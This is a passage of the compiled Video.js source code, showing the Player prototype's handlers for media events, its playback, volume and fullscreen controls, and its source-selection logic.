  8781. * Fired whenever the player is jumping to a new time
  8782. *
  8783. * @private
  8784. * @method handleTechSeeking_
  8785. */
  8786. Player.prototype.handleTechSeeking_ = function handleTechSeeking_() {
  8787. this.addClass('vjs-seeking');
  8788. this.trigger('seeking');
  8789. };
  8790. /**
  8791. * Fired when the player has finished jumping to a new time
  8792. *
  8793. * @private
  8794. * @method handleTechSeeked_
  8795. */
  8796. Player.prototype.handleTechSeeked_ = function handleTechSeeked_() {
  8797. this.removeClass('vjs-seeking');
  8798. this.trigger('seeked');
  8799. };
  8800. /**
  8801. * Fired the first time a video is played
  8802. * Not part of the HLS spec, and we're not sure if this is the best
  8803. * implementation yet, so use sparingly. If you don't have a reason to
  8804. * prevent playback, use `myPlayer.one('play');` instead.
  8805. *
  8806. * @private
  8807. * @method handleTechFirstPlay_
  8808. */
  8809. Player.prototype.handleTechFirstPlay_ = function handleTechFirstPlay_() {
  8810. //If the first starttime attribute is specified
  8811. //then we will start at the given offset in seconds
  8812. if (this.options_.starttime) {
  8813. this.currentTime(this.options_.starttime);
  8814. }
  8815. this.addClass('vjs-has-started');
  8816. this.trigger('firstplay');
  8817. };
  8818. /**
  8819. * Fired whenever the media has been paused
  8820. *
  8821. * @private
  8822. * @method handleTechPause_
  8823. */
  8824. Player.prototype.handleTechPause_ = function handleTechPause_() {
  8825. this.removeClass('vjs-playing');
  8826. this.addClass('vjs-paused');
  8827. this.trigger('pause');
  8828. };
  8829. /**
  8830. * Fired while the user agent is downloading media data
  8831. *
  8832. * @private
  8833. * @method handleTechProgress_
  8834. */
  8835. Player.prototype.handleTechProgress_ = function handleTechProgress_() {
  8836. this.trigger('progress');
  8837. };
  8838. /**
  8839. * Fired when the end of the media resource is reached (currentTime == duration)
  8840. *
  8841. * @private
  8842. * @method handleTechEnded_
  8843. */
  8844. Player.prototype.handleTechEnded_ = function handleTechEnded_() {
  8845. this.addClass('vjs-ended');
  8846. if (this.options_.loop) {
  8847. this.currentTime(0);
  8848. this.play();
  8849. } else if (!this.paused()) {
  8850. this.pause();
  8851. }
  8852. this.trigger('ended');
  8853. };
  8854. /**
  8855. * Fired when the duration of the media resource is first known or changed
  8856. *
  8857. * @private
  8858. * @method handleTechDurationChange_
  8859. */
  8860. Player.prototype.handleTechDurationChange_ = function handleTechDurationChange_() {
  8861. this.duration(this.techGet_('duration'));
  8862. };
  8863. /**
  8864. * Handle a click on the media element to play/pause
  8865. *
  8866. * @param {Object=} event Event object
  8867. * @private
  8868. * @method handleTechClick_
  8869. */
  8870. Player.prototype.handleTechClick_ = function handleTechClick_(event) {
  8871. // We're using mousedown to detect clicks thanks to Flash, but mousedown
  8872. // will also be triggered with right-clicks, so we need to prevent that
  8873. if (event.button !== 0) return;
  8874. // When controls are disabled a click should not toggle playback because
  8875. // the click is considered a control
  8876. if (this.controls()) {
  8877. if (this.paused()) {
  8878. this.play();
  8879. } else {
  8880. this.pause();
  8881. }
  8882. }
  8883. };
  8884. /**
  8885. * Handle a tap on the media element. It will toggle the user
  8886. * activity state, which hides and shows the controls.
  8887. *
  8888. * @private
  8889. * @method handleTechTap_
  8890. */
  8891. Player.prototype.handleTechTap_ = function handleTechTap_() {
  8892. this.userActive(!this.userActive());
  8893. };
  8894. /**
  8895. * Handle touch to start
  8896. *
  8897. * @private
  8898. * @method handleTechTouchStart_
  8899. */
  8900. Player.prototype.handleTechTouchStart_ = function handleTechTouchStart_() {
  8901. this.userWasActive = this.userActive();
  8902. };
  8903. /**
  8904. * Handle touch to move
  8905. *
  8906. * @private
  8907. * @method handleTechTouchMove_
  8908. */
  8909. Player.prototype.handleTechTouchMove_ = function handleTechTouchMove_() {
  8910. if (this.userWasActive) {
  8911. this.reportUserActivity();
  8912. }
  8913. };
  8914. /**
  8915. * Handle touch to end
  8916. *
  8917. * @private
  8918. * @method handleTechTouchEnd_
  8919. */
  8920. Player.prototype.handleTechTouchEnd_ = function handleTechTouchEnd_(event) {
  8921. // Stop the mouse events from also happening
  8922. event.preventDefault();
  8923. };
  8924. /**
  8925. * Fired when the player switches in or out of fullscreen mode
  8926. *
  8927. * @private
  8928. * @method handleFullscreenChange_
  8929. */
  8930. Player.prototype.handleFullscreenChange_ = function handleFullscreenChange_() {
  8931. if (this.isFullscreen()) {
  8932. this.addClass('vjs-fullscreen');
  8933. } else {
  8934. this.removeClass('vjs-fullscreen');
  8935. }
  8936. };
  8937. /**
  8938. * native click events on the SWF aren't triggered on IE11, Win8.1RT
  8939. * use stageclick events triggered from inside the SWF instead
  8940. *
  8941. * @private
  8942. * @method handleStageClick_
  8943. */
  8944. Player.prototype.handleStageClick_ = function handleStageClick_() {
  8945. this.reportUserActivity();
  8946. };
  8947. /**
  8948. * Handle Tech Fullscreen Change
  8949. *
  8950. * @private
  8951. * @method handleTechFullscreenChange_
  8952. */
  8953. Player.prototype.handleTechFullscreenChange_ = function handleTechFullscreenChange_(event, data) {
  8954. if (data) {
  8955. this.isFullscreen(data.isFullscreen);
  8956. }
  8957. this.trigger('fullscreenchange');
  8958. };
  8959. /**
  8960. * Fires when an error occurred during the loading of an audio/video
  8961. *
  8962. * @private
  8963. * @method handleTechError_
  8964. */
  8965. Player.prototype.handleTechError_ = function handleTechError_() {
  8966. var error = this.tech_.error();
  8967. this.error(error);
  8968. };
  8969. /**
  8970. * Fires when the browser is intentionally not getting media data
  8971. *
  8972. * @private
  8973. * @method handleTechSuspend_
  8974. */
  8975. Player.prototype.handleTechSuspend_ = function handleTechSuspend_() {
  8976. this.trigger('suspend');
  8977. };
  8978. /**
  8979. * Fires when the loading of an audio/video is aborted
  8980. *
  8981. * @private
  8982. * @method handleTechAbort_
  8983. */
  8984. Player.prototype.handleTechAbort_ = function handleTechAbort_() {
  8985. this.trigger('abort');
  8986. };
  8987. /**
  8988. * Fires when the current playlist is empty
  8989. *
  8990. * @private
  8991. * @method handleTechEmptied_
  8992. */
  8993. Player.prototype.handleTechEmptied_ = function handleTechEmptied_() {
  8994. this.trigger('emptied');
  8995. };
  8996. /**
  8997. * Fires when the browser is trying to get media data, but data is not available
  8998. *
  8999. * @private
  9000. * @method handleTechStalled_
  9001. */
  9002. Player.prototype.handleTechStalled_ = function handleTechStalled_() {
  9003. this.trigger('stalled');
  9004. };
  9005. /**
  9006. * Fires when the browser has loaded meta data for the audio/video
  9007. *
  9008. * @private
  9009. * @method handleTechLoadedMetaData_
  9010. */
  9011. Player.prototype.handleTechLoadedMetaData_ = function handleTechLoadedMetaData_() {
  9012. this.trigger('loadedmetadata');
  9013. };
  9014. Player.prototype.handleTechTextData_ = function handleTechTextData_() {
  9015. var data = null;
  9016. if (arguments.length > 1) {
  9017. data = arguments[1];
  9018. }
  9019. this.trigger('textdata', data);
  9020. };
  9021. /**
  9022. * Fires when the browser has loaded the current frame of the audio/video
  9023. *
  9024. * @private
  9025. * @method handleTechLoadedData_
  9026. */
  9027. Player.prototype.handleTechLoadedData_ = function handleTechLoadedData_() {
  9028. this.trigger('loadeddata');
  9029. };
  9030. /**
  9031. * Fires when the current playback position has changed
  9032. *
  9033. * @private
  9034. * @method handleTechTimeUpdate_
  9035. */
  9036. Player.prototype.handleTechTimeUpdate_ = function handleTechTimeUpdate_() {
  9037. this.trigger('timeupdate');
  9038. };
  9039. /**
  9040. * Fires when the playing speed of the audio/video is changed
  9041. *
  9042. * @private
  9043. * @method handleTechRateChange_
  9044. */
  9045. Player.prototype.handleTechRateChange_ = function handleTechRateChange_() {
  9046. this.trigger('ratechange');
  9047. };
  9048. /**
  9049. * Fires when the volume has been changed
  9050. *
  9051. * @private
  9052. * @method handleTechVolumeChange_
  9053. */
  9054. Player.prototype.handleTechVolumeChange_ = function handleTechVolumeChange_() {
  9055. this.trigger('volumechange');
  9056. };
  9057. /**
  9058. * Fires when the text track has been changed
  9059. *
  9060. * @private
  9061. * @method handleTechTextTrackChange_
  9062. */
  9063. Player.prototype.handleTechTextTrackChange_ = function handleTechTextTrackChange_() {
  9064. this.trigger('texttrackchange');
  9065. };
  9066. /**
  9067. * Get object for cached values.
  9068. *
  9069. * @return {Object}
  9070. * @method getCache
  9071. */
  9072. Player.prototype.getCache = function getCache() {
  9073. return this.cache_;
  9074. };
  9075. /**
  9076. * Pass values to the playback tech
  9077. *
  9078. * @param {String=} method Method
  9079. * @param {Object=} arg Argument
  9080. * @private
  9081. * @method techCall_
  9082. */
  9083. Player.prototype.techCall_ = function techCall_(method, arg) {
  9084. // If it's not ready yet, call method when it is
  9085. if (this.tech_ && !this.tech_.isReady_) {
  9086. this.tech_.ready(function () {
  9087. this[method](arg);
  9088. }, true);
  9089. // Otherwise call method now
  9090. } else {
  9091. try {
  9092. this.tech_ && this.tech_[method](arg);
  9093. } catch (e) {
  9094. _utilsLogJs2['default'](e);
  9095. throw e;
  9096. }
  9097. }
  9098. };
  9099. /**
  9100. * Get calls can't wait for the tech, and sometimes don't need to.
  9101. *
  9102. * @param {String} method Tech method
  9103. * @return {Method}
  9104. * @private
  9105. * @method techGet_
  9106. */
  9107. Player.prototype.techGet_ = function techGet_(method) {
  9108. if (this.tech_ && this.tech_.isReady_) {
  9109. // Flash likes to die and reload when you hide or reposition it.
  9110. // In these cases the object methods go away and we get errors.
  9111. // When that happens we'll catch the errors and inform tech that it's not ready any more.
  9112. try {
  9113. return this.tech_[method]();
  9114. } catch (e) {
  9115. // When building additional tech libs, an expected method may not be defined yet
  9116. if (this.tech_[method] === undefined) {
  9117. _utilsLogJs2['default']('Video.js: ' + method + ' method not defined for ' + this.techName_ + ' playback technology.', e);
  9118. } else {
  9119. // When a method isn't available on the object it throws a TypeError
  9120. if (e.name === 'TypeError') {
  9121. _utilsLogJs2['default']('Video.js: ' + method + ' unavailable on ' + this.techName_ + ' playback technology element.', e);
  9122. this.tech_.isReady_ = false;
  9123. } else {
  9124. _utilsLogJs2['default'](e);
  9125. }
  9126. }
  9127. throw e;
  9128. }
  9129. }
  9130. return;
  9131. };
  9132. /**
  9133. * start media playback
  9134. * ```js
  9135. * myPlayer.play();
  9136. * ```
  9137. *
  9138. * @return {Player} self
  9139. * @method play
  9140. */
  9141. Player.prototype.play = function play() {
  9142. // Only calls the tech's play if we already have a src loaded
  9143. if (this.src() || this.currentSrc()) {
  9144. this.techCall_('play');
  9145. } else {
  9146. this.tech_.one('loadstart', function () {
  9147. this.play();
  9148. });
  9149. }
  9150. return this;
  9151. };
  9152. /**
  9153. * Pause the video playback
  9154. * ```js
  9155. * myPlayer.pause();
  9156. * ```
  9157. *
  9158. * @return {Player} self
  9159. * @method pause
  9160. */
  9161. Player.prototype.pause = function pause() {
  9162. this.techCall_('pause');
  9163. return this;
  9164. };
  9165. /**
  9166. * Check if the player is paused
  9167. * ```js
  9168. * var isPaused = myPlayer.paused();
  9169. * var isPlaying = !myPlayer.paused();
  9170. * ```
  9171. *
  9172. * @return {Boolean} false if the media is currently playing, or true otherwise
  9173. * @method paused
  9174. */
  9175. Player.prototype.paused = function paused() {
  9176. // The initial state of paused should be true (in Safari it's actually false)
  9177. return this.techGet_('paused') === false ? false : true;
  9178. };
  9179. /**
  9180. * Returns whether or not the user is "scrubbing". Scrubbing is when the user
  9181. * has clicked the progress bar handle and is dragging it along the progress bar.
  9182. *
  9183. * @param {Boolean} isScrubbing True/false the user is scrubbing
  9184. * @return {Boolean} The scrubbing status when getting
  9185. * @return {Object} The player when setting
  9186. * @method scrubbing
  9187. */
  9188. Player.prototype.scrubbing = function scrubbing(isScrubbing) {
  9189. if (isScrubbing !== undefined) {
  9190. this.scrubbing_ = !!isScrubbing;
  9191. if (isScrubbing) {
  9192. this.addClass('vjs-scrubbing');
  9193. } else {
  9194. this.removeClass('vjs-scrubbing');
  9195. }
  9196. return this;
  9197. }
  9198. return this.scrubbing_;
  9199. };
  9200. /**
  9201. * Get or set the current time (in seconds)
  9202. * ```js
  9203. * // get
  9204. * var whereYouAt = myPlayer.currentTime();
  9205. * // set
  9206. * myPlayer.currentTime(120); // 2 minutes into the video
  9207. * ```
  9208. *
  9209. * @param {Number|String=} seconds The time to seek to
  9210. * @return {Number} The time in seconds, when not setting
  9211. * @return {Player} self, when the current time is set
  9212. * @method currentTime
  9213. */
  9214. Player.prototype.currentTime = function currentTime(seconds) {
  9215. if (seconds !== undefined) {
  9216. this.techCall_('setCurrentTime', seconds);
  9217. return this;
  9218. }
  9219. // cache last currentTime and return. default to 0 seconds
  9220. //
  9221. // Caching the currentTime is meant to prevent a massive amount of reads on the tech's
  9222. // currentTime when scrubbing, but may not provide much performance benefit afterall.
  9223. // Should be tested. Also something has to read the actual current time or the cache will
  9224. // never get updated.
  9225. return this.cache_.currentTime = this.techGet_('currentTime') || 0;
  9226. };
  9227. /**
  9228. * Normally gets the length in time of the video in seconds;
  9229. * in all but the rarest use cases an argument will NOT be passed to the method
  9230. * ```js
  9231. * var lengthOfVideo = myPlayer.duration();
  9232. * ```
  9233. * **NOTE**: The video must have started loading before the duration can be
  9234. * known, and in the case of Flash, may not be known until the video starts
  9235. * playing.
  9236. *
  9237. * @param {Number} seconds Duration when setting
  9238. * @return {Number} The duration of the video in seconds when getting
  9239. * @method duration
  9240. */
  9241. Player.prototype.duration = function duration(seconds) {
  9242. if (seconds === undefined) {
  9243. return this.cache_.duration || 0;
  9244. }
  9245. seconds = parseFloat(seconds) || 0;
  9246. // Standardize on Inifity for signaling video is live
  9247. if (seconds < 0) {
  9248. seconds = Infinity;
  9249. }
  9250. if (seconds !== this.cache_.duration) {
  9251. // Cache the last set value for optimized scrubbing (esp. Flash)
  9252. this.cache_.duration = seconds;
  9253. if (seconds === Infinity) {
  9254. this.addClass('vjs-live');
  9255. } else {
  9256. this.removeClass('vjs-live');
  9257. }
  9258. this.trigger('durationchange');
  9259. }
  9260. return this;
  9261. };
  9262. /**
  9263. * Calculates how much time is left.
  9264. * ```js
  9265. * var timeLeft = myPlayer.remainingTime();
  9266. * ```
  9267. * Not a native video element function, but useful
  9268. *
  9269. * @return {Number} The time remaining in seconds
  9270. * @method remainingTime
  9271. */
  9272. Player.prototype.remainingTime = function remainingTime() {
  9273. return this.duration() - this.currentTime();
  9274. };
  9275. // http://dev.w3.org/html5/spec/video.html#dom-media-buffered
  9276. // Buffered returns a timerange object.
  9277. // Kind of like an array of portions of the video that have been downloaded.
  9278. /**
  9279. * Get a TimeRange object with the times of the video that have been downloaded
  9280. * If you just want the percent of the video that's been downloaded,
  9281. * use bufferedPercent.
  9282. * ```js
  9283. * // Number of different ranges of time have been buffered. Usually 1.
  9284. * numberOfRanges = bufferedTimeRange.length,
  9285. * // Time in seconds when the first range starts. Usually 0.
  9286. * firstRangeStart = bufferedTimeRange.start(0),
  9287. * // Time in seconds when the first range ends
  9288. * firstRangeEnd = bufferedTimeRange.end(0),
  9289. * // Length in seconds of the first time range
  9290. * firstRangeLength = firstRangeEnd - firstRangeStart;
  9291. * ```
  9292. *
  9293. * @return {Object} A mock TimeRange object (following HTML spec)
  9294. * @method buffered
  9295. */
  9296. Player.prototype.buffered = function buffered() {
  9297. var buffered = this.techGet_('buffered');
  9298. if (!buffered || !buffered.length) {
  9299. buffered = _utilsTimeRangesJs.createTimeRange(0, 0);
  9300. }
  9301. return buffered;
  9302. };
  9303. /**
  9304. * Get the percent (as a decimal) of the video that's been downloaded
  9305. * ```js
  9306. * var howMuchIsDownloaded = myPlayer.bufferedPercent();
  9307. * ```
  9308. * 0 means none, 1 means all.
  9309. * (This method isn't in the HTML5 spec, but it's very convenient)
  9310. *
  9311. * @return {Number} A decimal between 0 and 1 representing the percent
  9312. * @method bufferedPercent
  9313. */
  9314. Player.prototype.bufferedPercent = function bufferedPercent() {
  9315. return _utilsBufferJs.bufferedPercent(this.buffered(), this.duration());
  9316. };
  9317. /**
  9318. * Get the ending time of the last buffered time range
  9319. * This is used in the progress bar to encapsulate all time ranges.
  9320. *
  9321. * @return {Number} The end of the last buffered time range
  9322. * @method bufferedEnd
  9323. */
  9324. Player.prototype.bufferedEnd = function bufferedEnd() {
  9325. var buffered = this.buffered(),
  9326. duration = this.duration(),
  9327. end = buffered.end(buffered.length - 1);
  9328. if (end > duration) {
  9329. end = duration;
  9330. }
  9331. return end;
  9332. };
  9333. /**
  9334. * Get or set the current volume of the media
  9335. * ```js
  9336. * // get
  9337. * var howLoudIsIt = myPlayer.volume();
  9338. * // set
  9339. * myPlayer.volume(0.5); // Set volume to half
  9340. * ```
  9341. * 0 is off (muted), 1.0 is all the way up, 0.5 is half way.
  9342. *
  9343. * @param {Number} percentAsDecimal The new volume as a decimal percent
  9344. * @return {Number} The current volume when getting
  9345. * @return {Player} self when setting
  9346. * @method volume
  9347. */
  9348. Player.prototype.volume = function volume(percentAsDecimal) {
  9349. var vol = undefined;
  9350. if (percentAsDecimal !== undefined) {
  9351. vol = Math.max(0, Math.min(1, parseFloat(percentAsDecimal))); // Force value to between 0 and 1
  9352. this.cache_.volume = vol;
  9353. this.techCall_('setVolume', vol);
  9354. return this;
  9355. }
  9356. // Default to 1 when returning current volume.
  9357. vol = parseFloat(this.techGet_('volume'));
  9358. return isNaN(vol) ? 1 : vol;
  9359. };
  9360. /**
  9361. * Get the current muted state, or turn mute on or off
  9362. * ```js
  9363. * // get
  9364. * var isVolumeMuted = myPlayer.muted();
  9365. * // set
  9366. * myPlayer.muted(true); // mute the volume
  9367. * ```
  9368. *
  9369. * @param {Boolean=} muted True to mute, false to unmute
  9370. * @return {Boolean} True if mute is on, false if not when getting
  9371. * @return {Player} self when setting mute
  9372. * @method muted
  9373. */
  9374. Player.prototype.muted = function muted(_muted) {
  9375. if (_muted !== undefined) {
  9376. this.techCall_('setMuted', _muted);
  9377. return this;
  9378. }
  9379. return this.techGet_('muted') || false; // Default to false
  9380. };
  9381. // Check if current tech can support native fullscreen
  9382. // (e.g. with built in controls like iOS, so not our flash swf)
  9383. /**
  9384. * Check to see if fullscreen is supported
  9385. *
  9386. * @return {Boolean}
  9387. * @method supportsFullScreen
  9388. */
  9389. Player.prototype.supportsFullScreen = function supportsFullScreen() {
  9390. return this.techGet_('supportsFullScreen') || false;
  9391. };
  9392. /**
  9393. * Check if the player is in fullscreen mode
  9394. * ```js
  9395. * // get
  9396. * var fullscreenOrNot = myPlayer.isFullscreen();
  9397. * // set
  9398. * myPlayer.isFullscreen(true); // tell the player it's in fullscreen
  9399. * ```
  9400. * NOTE: As of the latest HTML5 spec, isFullscreen is no longer an official
  9401. * property and instead document.fullscreenElement is used. But isFullscreen is
  9402. * still a valuable property for internal player workings.
  9403. *
  9404. * @param {Boolean=} isFS Update the player's fullscreen state
  9405. * @return {Boolean} true if fullscreen false if not when getting
  9406. * @return {Player} self when setting
  9407. * @method isFullscreen
  9408. */
  9409. Player.prototype.isFullscreen = function isFullscreen(isFS) {
  9410. if (isFS !== undefined) {
  9411. this.isFullscreen_ = !!isFS;
  9412. return this;
  9413. }
  9414. return !!this.isFullscreen_;
  9415. };
  9416. /**
  9417. * Increase the size of the video to full screen
  9418. * ```js
  9419. * myPlayer.requestFullscreen();
  9420. * ```
  9421. * In some browsers, full screen is not supported natively, so it enters
  9422. * "full window mode", where the video fills the browser window.
  9423. * In browsers and devices that support native full screen, sometimes the
  9424. * browser's default controls will be shown, and not the Video.js custom skin.
  9425. * This includes most mobile devices (iOS, Android) and older versions of
  9426. * Safari.
  9427. *
  9428. * @return {Player} self
  9429. * @method requestFullscreen
  9430. */
  9431. Player.prototype.requestFullscreen = function requestFullscreen() {
  9432. var fsApi = _fullscreenApiJs2['default'];
  9433. this.isFullscreen(true);
  9434. if (fsApi.requestFullscreen) {
  9435. // the browser supports going fullscreen at the element level so we can
  9436. // take the controls fullscreen as well as the video
  9437. // Trigger fullscreenchange event after change
  9438. // We have to specifically add this each time, and remove
  9439. // when canceling fullscreen. Otherwise if there's multiple
  9440. // players on a page, they would all be reacting to the same fullscreen
  9441. // events
  9442. Events.on(_globalDocument2['default'], fsApi.fullscreenchange, Fn.bind(this, function documentFullscreenChange(e) {
  9443. this.isFullscreen(_globalDocument2['default'][fsApi.fullscreenElement]);
  9444. // If cancelling fullscreen, remove event listener.
  9445. if (this.isFullscreen() === false) {
  9446. Events.off(_globalDocument2['default'], fsApi.fullscreenchange, documentFullscreenChange);
  9447. }
  9448. this.trigger('fullscreenchange');
  9449. }));
  9450. this.el_[fsApi.requestFullscreen]();
  9451. } else if (this.tech_.supportsFullScreen()) {
  9452. // we can't take the video.js controls fullscreen but we can go fullscreen
  9453. // with native controls
  9454. this.techCall_('enterFullScreen');
  9455. } else {
  9456. // fullscreen isn't supported so we'll just stretch the video element to
  9457. // fill the viewport
  9458. this.enterFullWindow();
  9459. this.trigger('fullscreenchange');
  9460. }
  9461. return this;
  9462. };
  9463. /**
  9464. * Return the video to its normal size after having been in full screen mode
  9465. * ```js
  9466. * myPlayer.exitFullscreen();
  9467. * ```
  9468. *
  9469. * @return {Player} self
  9470. * @method exitFullscreen
  9471. */
  9472. Player.prototype.exitFullscreen = function exitFullscreen() {
  9473. var fsApi = _fullscreenApiJs2['default'];
  9474. this.isFullscreen(false);
  9475. // Check for browser element fullscreen support
  9476. if (fsApi.requestFullscreen) {
  9477. _globalDocument2['default'][fsApi.exitFullscreen]();
  9478. } else if (this.tech_.supportsFullScreen()) {
  9479. this.techCall_('exitFullScreen');
  9480. } else {
  9481. this.exitFullWindow();
  9482. this.trigger('fullscreenchange');
  9483. }
  9484. return this;
  9485. };
  9486. /**
  9487. * When fullscreen isn't supported we can stretch the video container to as wide as the browser will let us.
  9488. *
  9489. * @method enterFullWindow
  9490. */
  9491. Player.prototype.enterFullWindow = function enterFullWindow() {
  9492. this.isFullWindow = true;
  9493. // Storing original doc overflow value to return to when fullscreen is off
  9494. this.docOrigOverflow = _globalDocument2['default'].documentElement.style.overflow;
  9495. // Add listener for esc key to exit fullscreen
  9496. Events.on(_globalDocument2['default'], 'keydown', Fn.bind(this, this.fullWindowOnEscKey));
  9497. // Hide any scroll bars
  9498. _globalDocument2['default'].documentElement.style.overflow = 'hidden';
  9499. // Apply fullscreen styles
  9500. Dom.addElClass(_globalDocument2['default'].body, 'vjs-full-window');
  9501. this.trigger('enterFullWindow');
  9502. };
  9503. /**
  9504. * Check for call to either exit full window or full screen on ESC key
  9505. *
  9506. * @param {String} event Event to check for key press
  9507. * @method fullWindowOnEscKey
  9508. */
  9509. Player.prototype.fullWindowOnEscKey = function fullWindowOnEscKey(event) {
  9510. if (event.keyCode === 27) {
  9511. if (this.isFullscreen() === true) {
  9512. this.exitFullscreen();
  9513. } else {
  9514. this.exitFullWindow();
  9515. }
  9516. }
  9517. };
  9518. /**
  9519. * Exit full window
  9520. *
  9521. * @method exitFullWindow
  9522. */
  9523. Player.prototype.exitFullWindow = function exitFullWindow() {
  9524. this.isFullWindow = false;
  9525. Events.off(_globalDocument2['default'], 'keydown', this.fullWindowOnEscKey);
  9526. // Unhide scroll bars.
  9527. _globalDocument2['default'].documentElement.style.overflow = this.docOrigOverflow;
  9528. // Remove fullscreen styles
  9529. Dom.removeElClass(_globalDocument2['default'].body, 'vjs-full-window');
  9530. // Resize the box, controller, and poster to original sizes
  9531. // this.positionAll();
  9532. this.trigger('exitFullWindow');
  9533. };
  9534. /**
  9535. * Check whether the player can play a given mimetype
  9536. *
  9537. * @param {String} type The mimetype to check
  9538. * @return {String} 'probably', 'maybe', or '' (empty string)
  9539. * @method canPlayType
  9540. */
  9541. Player.prototype.canPlayType = function canPlayType(type) {
  9542. var can = undefined;
  9543. // Loop through each playback technology in the options order
  9544. for (var i = 0, j = this.options_.techOrder; i < j.length; i++) {
  9545. var techName = _utilsToTitleCaseJs2['default'](j[i]);
  9546. var tech = _techTechJs2['default'].getTech(techName);
  9547. // Support old behavior of techs being registered as components.
  9548. // Remove once that deprecated behavior is removed.
  9549. if (!tech) {
  9550. tech = _componentJs2['default'].getComponent(techName);
  9551. }
  9552. // Check if the current tech is defined before continuing
  9553. if (!tech) {
  9554. _utilsLogJs2['default'].error('The "' + techName + '" tech is undefined. Skipped browser support check for that tech.');
  9555. continue;
  9556. }
  9557. // Check if the browser supports this technology
  9558. if (tech.isSupported()) {
  9559. can = tech.canPlayType(type);
  9560. if (can) {
  9561. return can;
  9562. }
  9563. }
  9564. }
  9565. return '';
  9566. };
  9567. /**
  9568. * Select source based on tech-order or source-order
  9569. * Uses source-order selection if `options.sourceOrder` is truthy. Otherwise,
  9570. * defaults to tech-order selection
  9571. *
  9572. * @param {Array} sources The sources for a media asset
  9573. * @return {Object|Boolean} Object of source and tech order, otherwise false
  9574. * @method selectSource
  9575. */
  9576. Player.prototype.selectSource = function selectSource(sources) {
  9577. var _this3 = this;
  9578. // Get only the techs specified in `techOrder` that exist and are supported by the
  9579. // current platform
  9580. var techs = this.options_.techOrder.map(_utilsToTitleCaseJs2['default']).map(function (techName) {
  9581. // `Component.getComponent(...)` is for support of old behavior of techs
  9582. // being registered as components.
  9583. // Remove once that deprecated behavior is removed.
  9584. return [techName, _techTechJs2['default'].getTech(techName) || _componentJs2['default'].getComponent(techName)];
  9585. }).filter(function (_ref) {
  9586. var techName = _ref[0];
  9587. var tech = _ref[1];
  9588. // Check if the current tech is defined before continuing
  9589. if (tech) {
  9590. // Check if the browser supports this technology
  9591. return tech.isSupported();
  9592. }
  9593. _utilsLogJs2['default'].error('The "' + techName + '" tech is undefined. Skipped browser support check for that tech.');
  9594. return false;
  9595. });
  9596. // Iterate over each `innerArray` element once per `outerArray` element and execute
  9597. // `tester` with both. If `tester` returns a non-falsy value, exit early and return
  9598. // that value.
  9599. var findFirstPassingTechSourcePair = function findFirstPassingTechSourcePair(outerArray, innerArray, tester) {
  9600. var found = undefined;
  9601. outerArray.some(function (outerChoice) {
  9602. return innerArray.some(function (innerChoice) {
  9603. found = tester(outerChoice, innerChoice);
  9604. if (found) {
  9605. return true;
  9606. }
  9607. });
  9608. });
  9609. return found;
  9610. };
  9611. var foundSourceAndTech = undefined;
  9612. var flip = function flip(fn) {
  9613. return function (a, b) {
  9614. return fn(b, a);
  9615. };
  9616. };
  9617. var finder = function finder(_ref2, source) {
  9618. var techName = _ref2[0];
  9619. var tech = _ref2[1];
  9620. if (tech.canPlaySource(source, _this3.options_[techName.toLowerCase()])) {
  9621. return { source: source, tech: techName };
  9622. }
  9623. };
  9624. // Depending on the truthiness of `options.sourceOrder`, we swap the order of techs and sources
  9625. // to select from them based on their priority.
  9626. if (this.options_.sourceOrder) {
  9627. // Source-first ordering
  9628. foundSourceAndTech = findFirstPassingTechSourcePair(sources, techs, flip(finder));
  9629. } else {
  9630. // Tech-first ordering
  9631. foundSourceAndTech = findFirstPassingTechSourcePair(techs, sources, finder);
  9632. }
  9633. return foundSourceAndTech || false;
  9634. };
  9635. /**
  9636. * The source function updates the video source
  9637. * There are three types of variables you can pass as the argument.
  9638. * **URL String**: A URL to the the video file. Use this method if you are sure
  9639. * the current playback technology (HTML5/Flash) can support the source you
  9640. * provide. Currently only MP4 files can be used in both HTML5 and Flash.
  9641. * ```js
  9642. * myPlayer.src("http://www.example.com/path/to/video.mp4");
  9643. * ```
  9644. * **Source Object (or element):* * A javascript object containing information
  9645. * about the source file. Use this method if you want the player to determine if
  9646. * it can support the file using the type information.
  9647. * ```js
  9648. * myPlayer.src({ type: "video/mp4", src: "http://www.example.com/path/to/video.mp4" });
  9649. * ```
  9650. * **Array of Source Objects:* * To provide multiple versions of the source so
  9651. * that it can be played using HTML5 across browsers you can use an array of
  9652. * source objects. Video.js will detect which version is supported and load that
  9653. * file.
  9654. * ```js
  9655. * myPlayer.src([
  9656. * { type: "video/mp4", src: "http://www.example.com/path/to/video.mp4" },
  9657. * { type: "video/webm", src: "http://www.example.com/path/to/video.webm" },
  9658. * { type: "video/ogg", src: "http://www.example.com/path/to/video.ogv" }
  9659. * ]);
  9660. * ```
  9661. *
  9662. * @param {String|Object|Array=} source The source URL, object, or array of sources
  9663. * @return {String} The current video source when getting
  9664. * @return {String} The player when setting
  9665. * @method src
  9666. */
  9667. Player.prototype.src = function src(source) {
  9668. if (source === undefined) {
  9669. return this.techGet_('src');
  9670. }
  9671. var currentTech = _techTechJs2['default'].getTech(this.techName_);
  9672. // Support old behavior of techs being registered as components.
  9673. // Remove once that deprecated behavior is removed.
  9674. if (!currentTech) {
  9675. currentTech = _componentJs2['default'].getComponent(this.techName_);
  9676. }
  9677. // case: Array of source objects to choose from and pick the best to play
  9678. if (Array.isArray(source)) {
  9679. this.sourceList_(source);
  9680. // case: URL String (http://myvideo...)
  9681. } else if (typeof source === 'string') {
  9682. // create a source object from the string
  9683. this.src({ src: source });
  9684. // case: Source object { src: '', type: '' ... }
  9685. } else if (source instanceof Object) {
  9686. // check if the source has a type and the loaded tech cannot play the source
  9687. // if there's no type we'll just try the current tech
  9688. if (source.type && !currentTech.canPlaySource(source, this.options_[this.techName_.toLowerCase()])) {
  9689. // create a source list with the current source and send through
  9690. // the tech loop to check for a compatible technology
  9691. this.sourceList_([source]);
  9692. } else {
  9693. this.cache_.src = source.src;
  9694. this.currentType_ = source.type || '';
  9695. // wait until the tech is ready to set the source
  9696. this.ready(function () {
  9697. // The setSource tech method was added with source handlers
  9698. // so older techs won't support it
  9699. // We need to check the direct prototype for the case where subclasses
  9700. // of the tech do not support source handlers
  9701. if (currentTech.prototype.hasOwnProperty('setSource')) {
  9702. this.techCall_('setSource', source);
  9703. } else {
  9704. this.techCall_('src', source.src);
  9705. }
  9706. if (this.options_.preload === 'auto') {
  9707. this.load();
  9708. }
  9709. if (this.options_.autoplay) {
  9710. this.play();
  9711. }
  9712. // Set the source synchronously if possible (#2326)
  9713. }, true);
  9714. }
  9715. }
  9716. return this;
  9717. };
  9718. /**
  9719. * Handle an array of source objects
  9720. *
